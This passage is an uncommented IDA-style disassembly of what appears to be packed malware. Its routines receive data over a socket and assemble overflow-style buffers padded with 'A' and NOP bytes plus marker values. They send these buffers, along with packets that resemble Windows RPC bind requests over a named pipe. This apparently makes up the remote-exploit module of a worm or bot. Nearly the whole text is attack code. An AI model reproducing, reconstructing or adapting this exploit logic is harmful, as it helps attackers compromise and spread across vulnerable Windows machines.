lea eax, [esp+24h+var_C]
push ebp
push eax
push dword ptr [esi+3Eh]
call ebx ; recv
push 0DEh
push offset dword_415AD8
push dword ptr [esi+3Eh]
call sub_403D9D
push edi
push dword ptr [esi+3Eh]
call sub_403E1F
add esp, 14h
test eax, eax
jz short loc_40C633
xor edi, edi
lea eax, [esp+30h+var_1C]
push edi
push ebp
push eax
push dword ptr [esi+3Eh]
call ebx ; recv
cmp [esp+40h+arg_14], 30h
jnz short loc_40C60A
push 1
push esi
call sub_40C135
pop ecx
test eax, eax
pop ecx
jnz short loc_40C60A
push 2
push esi
call sub_40C135
jmp short loc_40C631
; ---------------------------------------------------------------------------
loc_40C60A: ; CODE XREF: sub_40C501+EFj
; sub_40C501+FDj
cmp [esp+40h+arg_14], 31h
jnz short loc_40C633
push edi
push esi
call sub_40C135
cmp [esp+48h+var_30], edi
pop ecx
pop ecx
jnz short loc_40C633
push dword ptr [esi+3Eh]
call sub_403D70
push esi
mov [esi+3Eh], edi
call sub_40C501
loc_40C631: ; CODE XREF: sub_40C501+107j
pop ecx
pop ecx
loc_40C633: ; CODE XREF: sub_40C501+44j
; sub_40C501+6Aj ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 1004h
retn
sub_40C501 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0A00h
push ebx
mov ebx, [ebp+8]
push 1
push offset byte_4191D0
push dword ptr [ebx+2Ah]
lea eax, [ebx+146h]
push eax
lea eax, [ebx+0C6h]
push eax
lea eax, [ebp-0A00h]
push dword ptr [ebx+0C2h]
push 200h
push eax
call sub_40E399
add esp, 20h
mov [ebp+8], eax
test eax, eax
jz loc_40C797
push esi
push edi
push 24h
lea eax, [ebp-800h]
push (offset loc_415FCA+2)
push eax
call sub_4114D0 ; memcpy
push 210h
lea eax, [ebp-7DCh]
push 4Dh
push eax
call sub_4114E8 ; memset
push 4
lea eax, [ebp-5CCh]
pop edi
push edi
push offset dword_415FF4
push eax
call sub_4114D0 ; memcpy
push edi
lea eax, [ebp-5C8h]
push offset aCccc ; "CCCC"
push eax
call sub_4114D0 ; memcpy
push edi
lea eax, [ebp-5C4h]
push offset loc_415FC4
push eax
call sub_4114D0 ; memcpy
mov esi, (offset loc_415FC4+4)
push edi
lea eax, [ebp-5C0h]
push esi
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp-5BCh]
push edi
push esi
push eax
call sub_4114D0 ; memcpy
push edi
lea eax, [ebp-5B8h]
push offset a3333 ; "3333"
push eax
call sub_4114D0 ; memcpy
push edi
lea eax, [ebp-5B4h]
push esi
push eax
call sub_4114D0 ; memcpy
push edi
lea eax, [ebp-5B0h]
push esi
push eax
call sub_4114D0 ; memcpy
push 58h
lea eax, [ebp-5ACh]
push 41h
push eax
call sub_4114E8 ; memset
mov esi, [ebp+8]
lea eax, [ebp-0A00h]
push esi
push eax
lea eax, [ebp-554h]
push eax
call sub_4114D0 ; memcpy
add esp, 48h
add esi, 2ACh
push 5
lea eax, [ebp+esi-800h]
push offset dword_415FFC
push eax
call sub_4114D0 ; memcpy
add esi, 5
lea eax, [ebp-800h]
push esi
push eax
push dword ptr [ebx+3Eh]
call sub_403D9D
add esp, 18h
pop edi
pop esi
loc_40C797: ; CODE XREF: .packed:0040C682j
pop ebx
leave
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0CD8h
push ebx
push esi
mov esi, [ebp+8]
push edi
push 7
push offset dword_415854
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp-6D8h]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E399
add esp, 20h
mov [ebp-8], eax
test eax, eax
jz loc_40CA9C
push 89h
push offset dword_416014
push dword ptr [esi+3Eh]
call sub_403D9D
mov ebx, 2710h
mov edi, 600h
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
push 0A8h
push offset dword_4160A0
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
push 0DEh
push offset dword_41614C
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
mov al, [ebp-0C98h]
push 3Eh
sub al, 30h
push offset dword_41622C
push dword ptr [esi+3Eh]
mov [ebp-1], al
mov al, [ebp-0C94h]
sub al, 30h
mov [ebp+0Bh], al
call sub_403D9D
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
push 60h
push offset dword_41626C
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
push 0A0h
push offset dword_4162D0
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp-0CD8h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
test eax, eax
jz loc_40CA9C
cmp byte ptr [ebp-1], 5
push 4
pop ebx
jnz loc_40C9FC
cmp byte ptr [ebp+0Bh], 1
jnz loc_40C9F6
push 86h
lea eax, [ebp-374h]
push offset dword_416374
push eax
call sub_4114D0 ; memcpy
mov edi, [ebp-8]
lea eax, [ebp-6D8h]
push edi
push eax
lea eax, [ebp-2EEh]
push eax
call sub_4114D0 ; memcpy
mov eax, 2C4h
push 0
sub eax, edi
push eax
lea eax, [ebp+edi-2EEh]
push eax
call sub_40D5A8
push ebx
lea eax, [ebp-8Ah]
push offset dword_4164D4
push eax
call sub_4114D0 ; memcpy
mov edi, offset dword_4164CC
push ebx
lea eax, [ebp-7Eh]
push edi
push eax
call sub_4114D0 ; memcpy
push ebx
lea eax, [ebp-5Ah]
push edi
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp-4Eh]
push ebx
push edi
push eax
call sub_4114D0 ; memcpy
push 20h
lea eax, [ebp-2Ah]
push offset dword_4163FC
push eax
call sub_4114D0 ; memcpy
mov edi, 36Ah
lea eax, [ebp-374h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 24h
push 400h
call dword_4120A4 ; Sleep
lea eax, [ebp-374h]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 0Ch
jmp loc_40CA9C
; ---------------------------------------------------------------------------
loc_40C9F6: ; CODE XREF: .packed:0040C926j
cmp byte ptr [ebp+0Bh], 0
jz short loc_40CA05
loc_40C9FC: ; CODE XREF: .packed:0040C91Cj
cmp [ebp-1], bl
jnz loc_40CA9C
loc_40CA05: ; CODE XREF: .packed:0040C9FAj
push 86h
lea eax, [ebp-4D8h]
push offset dword_416420
push eax
call sub_4114D0 ; memcpy
mov eax, 3E8h
sub eax, [ebp-8]
push eax
lea eax, [ebp-452h]
push 90h
push eax
call sub_4114E8 ; memset
push dword ptr [ebp-8]
lea eax, [ebp-6D8h]
push eax
lea eax, [ebp-6Ah]
sub eax, [ebp-8]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp-6Ah]
add esp, 24h
mov [ebp+8], eax
mov dword ptr [ebp-8], 10h
mov edi, offset dword_4164CC
loc_40CA60: ; CODE XREF: .packed:0040CA73j
push ebx
push edi
push dword ptr [ebp+8]
call sub_4114D0 ; memcpy
add [ebp+8], ebx
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40CA60
push 20h
lea eax, [ebp-2Ah]
push offset dword_4164A8
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp-4D8h]
push 4CEh
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 18h
loc_40CA9C: ; CODE XREF: .packed:0040C7E1j
; .packed:0040C819j ...
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CAA1 proc near ; CODE XREF: .packed:0040CD98p
; .packed:0040CDA6p
var_2208 = byte ptr -2208h
var_21FF = byte ptr -21FFh
var_1208 = byte ptr -1208h
var_1205 = byte ptr -1205h
var_11DB = byte ptr -11DBh
var_11D8 = byte ptr -11D8h
var_10D8 = byte ptr -10D8h
var_980 = byte ptr -980h
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2208h
call sub_411540
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp+var_208]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E2C1
add esp, 18h
mov [ebp+var_8], eax
test eax, eax
jz loc_40CD8D
push 89h
push offset dword_4164DC
push dword ptr [esi+3Eh]
call sub_403D9D
mov ebx, 0EA60h
mov edi, 1000h
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
cmp [ebp+var_21FF], 0
jnz loc_40CD8D
push 0A8h
push offset dword_416568
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
push 0DEh
push offset dword_416614
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
cmp [ebp+var_21FF], 0
jnz loc_40CD8D
push 30h
lea eax, [ebp+var_1208]
push offset dword_4166F4
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_11D8]
push eax
lea eax, [esi+42h]
push eax
call sub_40311D
lea eax, [eax+eax-2]
push 1
lea ecx, [eax+30h]
add eax, 9
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_11DB]
push eax
mov [ebp+arg_0], ecx
call sub_4114D0 ; memcpy
mov eax, [ebp+arg_0]
push 8
push offset dword_416728
lea eax, [ebp+eax+var_1208]
push eax
call sub_4114D0 ; memcpy
add [ebp+arg_0], 8
push 1
mov eax, [ebp+arg_0]
add eax, 0FFFFFFFCh
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1205]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
lea eax, [ebp+var_1208]
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
add esp, 44h
lea eax, [ebp+var_2208]
push ebx
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
cmp [ebp+var_21FF], 0
jnz loc_40CD8D
push 6Ah
push offset dword_416734
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
cmp [ebp+var_21FF], 0
jnz loc_40CD8D
push 0A0h
push offset dword_4167A0
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 1Ch
cmp eax, 0FFFFFFFFh
jz loc_40CD8D
cmp eax, 0Ah
jbe loc_40CD8D
cmp [ebp+var_21FF], 0
jnz loc_40CD8D
push 0
lea eax, [ebp+var_1208]
push 894h
push eax
call sub_40D5A8
add esp, 0Ch
cmp [ebp+arg_4], 0
push 130h
jnz short loc_40CD28
push offset dword_416844
jmp short loc_40CD2D
; ---------------------------------------------------------------------------
loc_40CD28: ; CODE XREF: sub_40CAA1+27Ej
push offset dword_416978
loc_40CD2D: ; CODE XREF: sub_40CAA1+285j
lea eax, [ebp+var_1208]
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_208]
push [ebp+var_8]
push eax
lea eax, [ebp+var_10D8]
push eax
call sub_4114D0 ; memcpy
push 0Ch
lea eax, [ebp+var_980]
push offset dword_416AAC
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_1208]
push 894h
push eax
push dword ptr [esi+3Eh]
call sub_403D9D
push ebx
lea eax, [ebp+var_2208]
push edi
push eax
push dword ptr [esi+3Eh]
call sub_403DF6
add esp, 34h
loc_40CD8D: ; CODE XREF: sub_40CAA1+43j
; sub_40CAA1+7Cj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40CAA1 endp
; ---------------------------------------------------------------------------
push 0
push dword ptr [esp+8]
call sub_40CAA1
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40CDA0: ; DATA XREF: .packed:00417EE8o
push 1
push dword ptr [esp+8]
call sub_40CAA1
pop ecx
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40CDAE proc near ; CODE XREF: sub_40CEBE+12Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
xor esi, esi
cmp [esp+4+arg_4], esi
jbe short loc_40CDDD
mov edx, [esp+4+arg_8]
loc_40CDBB: ; CODE XREF: sub_40CDAE+2Dj
mov eax, [esp+4+arg_0]
mov cl, [esi+eax]
mov al, cl
and cl, 0Fh
shr al, 4
add cl, 41h
add al, 41h
mov [edx], cl
mov [edx+1], al
inc esi
inc edx
inc edx
cmp esi, [esp+4+arg_4]
jb short loc_40CDBB
loc_40CDDD: ; CODE XREF: sub_40CDAE+7j
pop esi
retn
sub_40CDAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CDDF proc near ; CODE XREF: sub_40CDDF+CDp
; sub_40CEBE+4DCp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40CDF3
or [ebp+arg_7], 1
jmp short loc_40CDF7
; ---------------------------------------------------------------------------
loc_40CDF3: ; CODE XREF: sub_40CDDF+Cj
and [ebp+arg_7], 0FEh
loc_40CDF7: ; CODE XREF: sub_40CDDF+12j
mov ebx, [ebp+arg_20]
mov eax, [ebp+arg_24]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_40CE18
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40CE2A
; ---------------------------------------------------------------------------
loc_40CE18: ; CODE XREF: sub_40CDDF+23j
mov [ebp+arg_C], ax
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40CE2A: ; CODE XREF: sub_40CDDF+37j
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_4114C4 ; malloc
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jnz short loc_40CE43
loc_40CE3F: ; CODE XREF: sub_40CDDF+A4j
xor eax, eax
jmp short loc_40CEB9
; ---------------------------------------------------------------------------
loc_40CE43: ; CODE XREF: sub_40CDDF+5Ej
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_412070 ; WriteFile
push [ebp+arg_20]
test eax, eax
jnz short loc_40CE85
call sub_4114CA ; free
pop ecx
jmp short loc_40CE3F
; ---------------------------------------------------------------------------
loc_40CE85: ; CODE XREF: sub_40CDDF+9Cj
call sub_4114CA ; free
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40CEB6
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40CDDF
add esp, 2Ch
jmp short loc_40CEB9
; ---------------------------------------------------------------------------
loc_40CEB6: ; CODE XREF: sub_40CDDF+B0j
push 1
pop eax
loc_40CEB9: ; CODE XREF: sub_40CDDF+62j
; sub_40CDDF+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_40CDDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEBE proc near ; CODE XREF: sub_40D3D6+6p
; sub_40D3D6+16p
var_CEBC = byte ptr -0CEBCh
var_8EBC = byte ptr -8EBCh
var_7364 = byte ptr -7364h
var_5364 = byte ptr -5364h
var_3364 = byte ptr -3364h
var_1364 = dword ptr -1364h
var_A68 = byte ptr -0A68h
var_A63 = byte ptr -0A63h
var_A24 = byte ptr -0A24h
var_5B8 = byte ptr -5B8h
var_3B8 = byte ptr -3B8h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_6C = byte ptr -6Ch
var_68 = byte ptr -68h
var_67 = byte ptr -67h
var_66 = byte ptr -66h
var_65 = byte ptr -65h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = word ptr -5Eh
var_5C = dword ptr -5Ch
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = byte ptr -4Ah
var_48 = byte ptr -48h
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_C = word ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 0CEBCh
call sub_411540
push ebx
push esi
push edi
xor edi, edi
cmp dword_41920C, edi
jz loc_40D3CE
cmp dword_419214, edi
jz loc_40D3CE
mov esi, [ebp+arg_0]
push dword ptr [esi+2Ah]
lea eax, [esi+146h]
push eax
lea eax, [esi+0C6h]
push eax
lea eax, [ebp+var_5B8]
push dword ptr [esi+0C2h]
push 200h
push eax
call sub_40E2C1
add esp, 18h
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40CF41
add esi, 42h
push 2
push esi
mov [ebp+arg_0], esi
call sub_40D42D
pop ecx
cmp eax, 3
pop ecx
jz short loc_40CF48
push 1
push esi
call sub_40D42D
pop ecx
cmp eax, 3
pop ecx
jz short loc_40CF48
loc_40CF41: ; CODE XREF: sub_40CEBE+5Dj
xor eax, eax
jmp loc_40D3D1
; ---------------------------------------------------------------------------
loc_40CF48: ; CODE XREF: sub_40CEBE+72j
; sub_40CEBE+81j
push 32Bh
lea eax, [ebp+var_3B8]
push edi
push eax
call sub_4114E8 ; memset
mov esi, 0DACh
lea eax, [ebp+var_1364]
push esi
push edi
push eax
call sub_4114E8 ; memset
push 1B58h
lea eax, [ebp+var_8EBC]
push edi
push eax
call sub_4114E8 ; memset
push 0DABh
lea eax, [ebp+var_1364]
push 41h
push eax
call sub_4114E8 ; memset
mov eax, [ebp+arg_4]
push 5
push offset dword_416AC0
lea ebx, [eax+eax*8]
mov [ebp+var_8], ebx
mov eax, dword ptr (loc_416B1A+2)[ebx]
mov ecx, dword ptr (loc_416B17+1)[ebx]
mov [ebp+eax+var_1364], ecx
lea eax, [ebp+var_A68]
push eax
call sub_4114D0 ; memcpy
push 3Fh
lea eax, [ebp+var_A63]
push offset sub_416AD8
push eax
call sub_4114D0 ; memcpy
add esp, 48h
lea eax, [ebp+var_3B8]
push eax
lea eax, [ebp+var_5B8]
push [ebp+var_4]
push eax
call sub_40CDAE
lea eax, [ebp+var_3B8]
push eax
call sub_4114BE ; strlen
push eax
lea eax, [ebp+var_3B8]
push eax
lea eax, [ebp+var_A24]
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_3B8]
push eax
call sub_4114BE ; strlen
and [ebp+eax+var_A24], 0
add esp, 20h
xor ecx, ecx
lea eax, [ebp+var_8EBC]
loc_40D02C: ; CODE XREF: sub_40CEBE+17Fj
movzx dx, byte ptr [ebp+ecx+var_1364]
mov [eax], dx
inc ecx
inc eax
inc eax
cmp ecx, esi
jb short loc_40D02C
push [ebp+arg_0]
mov esi, 2000h
lea eax, [ebp+var_7364]
push offset dword_416B80
push esi
push eax
call sub_41152E ; _snprintf
lea eax, [ebp+var_7364]
push esi
push eax
lea eax, [ebp+var_CEBC]
push eax
call sub_4117BA ; mbstowcs
push offset dword_416B7C
push [ebp+arg_0]
call sub_411924 ; _strcmpi
add esp, 24h
test eax, eax
jz short loc_40D0D8
push [ebp+arg_0]
lea eax, [ebp+var_3364]
push offset dword_416B74
push esi
push eax
call sub_41152E ; _snprintf
push esi
lea eax, [ebp+var_3364]
push offset dword_416B6C
push eax
call sub_4117B4 ; strncat
push 20h
lea eax, [ebp+var_8C]
push edi
push eax
call sub_4114E8 ; memset
lea eax, [ebp+var_3364]
add esp, 28h
mov [ebp+var_78], eax
mov eax, offset byte_4191D0
push edi
push eax
push eax
lea eax, [ebp+var_8C]
push eax
call dword_41920C
loc_40D0D8: ; CODE XREF: sub_40CEBE+1C1j
push [ebp+arg_0]
lea eax, [ebp+var_5364]
push offset dword_416B74
push esi
push eax
call sub_41152E ; _snprintf
push esi
lea eax, [ebp+var_5364]
push offset dword_416B60
push eax
call sub_4117B4 ; strncat
add esp, 1Ch
lea eax, [ebp+var_5364]
push edi
push edi
push 3
push edi
push 3
push 40000000h
push eax
call dword_412048 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40D12A
loc_40D123: ; CODE XREF: sub_40CEBE+370j
xor esi, esi
jmp loc_40D3BF
; ---------------------------------------------------------------------------
loc_40D12A: ; CODE XREF: sub_40CEBE+263j
push 48h
lea eax, [ebp+var_68]
push edi
push eax
call sub_4114E8 ; memset
push 10h
and [ebp+var_67], 0
pop esi
mov [ebp+var_68], 5
push 1
mov [ebp+var_66], 0Bh
pop eax
mov [ebp+var_65], 3
mov [ebp+var_5C], eax
mov [ebp+var_50], eax
mov [ebp+var_4A], al
mov [ebp+var_38], eax
push esi
lea eax, [ebp+var_48]
push offset dword_416B4C
push eax
mov [ebp+var_64], esi
mov [ebp+var_60], 48h
mov [ebp+var_5E], di
mov [ebp+var_58], 10B8h
mov [ebp+var_56], 10B8h
mov [ebp+var_54], edi
mov [ebp+var_4C], di
call sub_4114D0 ; memcpy
push esi
lea eax, [ebp+var_34]
push offset dword_416B38
push eax
mov [ebp+var_24], 2
call sub_4114D0 ; memcpy
add esp, 24h
lea eax, [ebp+var_6C]
push edi
push eax
lea eax, [ebp+var_68]
push 48h
push eax
push [ebp+var_4]
call dword_412070 ; WriteFile
test eax, eax
jz short loc_40D225
lea eax, [ebp+var_CEBC]
push eax
call sub_4117A8 ; wcslen
lea eax, [eax+eax+12h]
pop ecx
test al, 3
mov [ebp+arg_4], eax
jz short loc_40D1D9
loc_40D1D0: ; CODE XREF: sub_40CEBE+319j
inc [ebp+arg_4]
test byte ptr [ebp+arg_4], 3
jnz short loc_40D1D0
loc_40D1D9: ; CODE XREF: sub_40CEBE+310j
cmp byte ptr (loc_416B1F+1)[ebx], 0
push 4
pop esi
jz short loc_40D1E8
add [ebp+arg_4], esi
loc_40D1E8: ; CODE XREF: sub_40CEBE+325j
lea eax, [ebp+var_8EBC]
push eax
call sub_4117A8 ; wcslen
pop ecx
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax*2+0Eh]
loc_40D1FC: ; CODE XREF: sub_40CEBE+343j
test al, 3
jz short loc_40D203
inc eax
jmp short loc_40D1FC
; ---------------------------------------------------------------------------
loc_40D203: ; CODE XREF: sub_40CEBE+340j
add eax, 8
cmp byte ptr (loc_416B1F+1)[ebx], 0
jz short loc_40D213
add eax, esi
jmp short loc_40D215
; ---------------------------------------------------------------------------
loc_40D213: ; CODE XREF: sub_40CEBE+34Fj
inc eax
inc eax
loc_40D215: ; CODE XREF: sub_40CEBE+353j
push eax
mov [ebp+arg_4], eax
call sub_4114C4 ; malloc
mov ebx, eax
pop ecx
cmp ebx, edi
jnz short loc_40D233
loc_40D225: ; CODE XREF: sub_40CEBE+2F8j
push [ebp+var_4]
call dword_4120AC ; CloseHandle
jmp loc_40D123
; ---------------------------------------------------------------------------
loc_40D233: ; CODE XREF: sub_40CEBE+365j
push [ebp+arg_4]
push edi
push ebx
call sub_4114E8 ; memset
push esi
push offset dword_416AC8
push ebx
call sub_4114D0 ; memcpy
lea eax, [ebp+var_CEBC]
push eax
call sub_4117A8 ; wcslen
inc eax
mov [ebx+0Ch], eax
mov [ebx+8], edi
mov eax, [ebx+0Ch]
mov [ebx+4], eax
lea eax, [ebp+var_CEBC]
push eax
lea eax, [ebx+10h]
push eax
call sub_4117AE ; wcscpy
lea eax, [ebp+var_CEBC]
push eax
call sub_4117A8 ; wcslen
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp+arg_0], eax
jz short loc_40D294
loc_40D28C: ; CODE XREF: sub_40CEBE+3D1j
inc eax
test al, 3
jnz short loc_40D28C
mov [ebp+arg_0], eax
loc_40D294: ; CODE XREF: sub_40CEBE+3CCj
mov ecx, [ebp+var_8]
cmp byte ptr (loc_416B1F+1)[ecx], 0
jz short loc_40D2B7
push esi
add eax, ebx
push offset dword_416AD0
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
add [ebp+arg_0], esi
mov eax, [ebp+arg_0]
loc_40D2B7: ; CODE XREF: sub_40CEBE+3E0j
lea esi, [eax+ebx]
lea eax, [ebp+var_8EBC]
push eax
call sub_4117A8 ; wcslen
inc eax
add [ebp+arg_0], 0Ch
mov [esi+8], eax
mov [esi+4], edi
mov eax, [esi+8]
mov [esi], eax
lea eax, [ebp+var_8EBC]
push eax
mov eax, [ebp+arg_0]
add eax, ebx
push eax
call sub_4117AE ; wcscpy
lea eax, [ebp+var_8EBC]
push eax
call sub_4117A8 ; wcslen
mov ecx, [ebp+arg_0]
add esp, 10h
lea eax, [ecx+eax*2+2]
test al, 3
mov [ebp+arg_0], eax
jz short loc_40D30D
loc_40D305: ; CODE XREF: sub_40CEBE+44Aj
inc eax
test al, 3
jnz short loc_40D305
mov [ebp+arg_0], eax
loc_40D30D: ; CODE XREF: sub_40CEBE+445j
push 8
add eax, ebx
push edi
push eax
call sub_4114E8 ; memset
mov eax, [ebp+arg_0]
mov esi, [ebp+var_8]
add esp, 0Ch
add eax, 8
cmp byte ptr (loc_416B1F+1)[esi], 0
jz short loc_40D332
mov [eax+ebx], edi
jmp short loc_40D338
; ---------------------------------------------------------------------------
loc_40D332: ; CODE XREF: sub_40CEBE+46Dj
mov word ptr [eax+ebx], 1
loc_40D338: ; CODE XREF: sub_40CEBE+472j
push 18h
lea eax, [ebp+var_20]
push edi
push eax
call sub_4114E8 ; memset
add esp, 0Ch
mov cl, byte ptr (loc_416B1F+1)[esi]
and [ebp+var_1F], 0
and [ebp+var_1E], 0
push 1
mov [ebp+var_16], di
pop eax
mov [ebp+var_C], di
push eax
push 10B8h
push [ebp+arg_4]
lea esi, [ebp+var_20]
neg cl
sbb ecx, ecx
push ebx
and ecx, 2
sub esp, 18h
add ecx, 19h
mov [ebp+var_20], 5
push 6
mov [ebp+var_A], cx
pop ecx
mov [ebp+var_1D], 3
mov edi, esp
push [ebp+var_4]
mov [ebp+var_1C], 10h
mov [ebp+var_14], eax
rep movsd
call sub_40CDDF
add esp, 2Ch
test eax, eax
jnz short loc_40D3AA
xor esi, esi
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3AA: ; CODE XREF: sub_40CEBE+4E6j
push 1
pop esi
loc_40D3AD: ; CODE XREF: sub_40CEBE+4EAj
push [ebp+var_4]
call dword_4120AC ; CloseHandle
push ebx
call sub_4114CA ; free
pop ecx
xor edi, edi
loc_40D3BF: ; CODE XREF: sub_40CEBE+267j
push edi
push edi
push [ebp+var_78]
call dword_419214
mov eax, esi
jmp short loc_40D3D1
; ---------------------------------------------------------------------------
loc_40D3CE: ; CODE XREF: sub_40CEBE+18j
; sub_40CEBE+24j
push 1
pop eax
loc_40D3D1: ; CODE XREF: sub_40CEBE+85j
; sub_40CEBE+50Ej
pop edi
pop esi
pop ebx
leave
retn
sub_40CEBE endp
; =============== S U B R O U T I N E =======================================
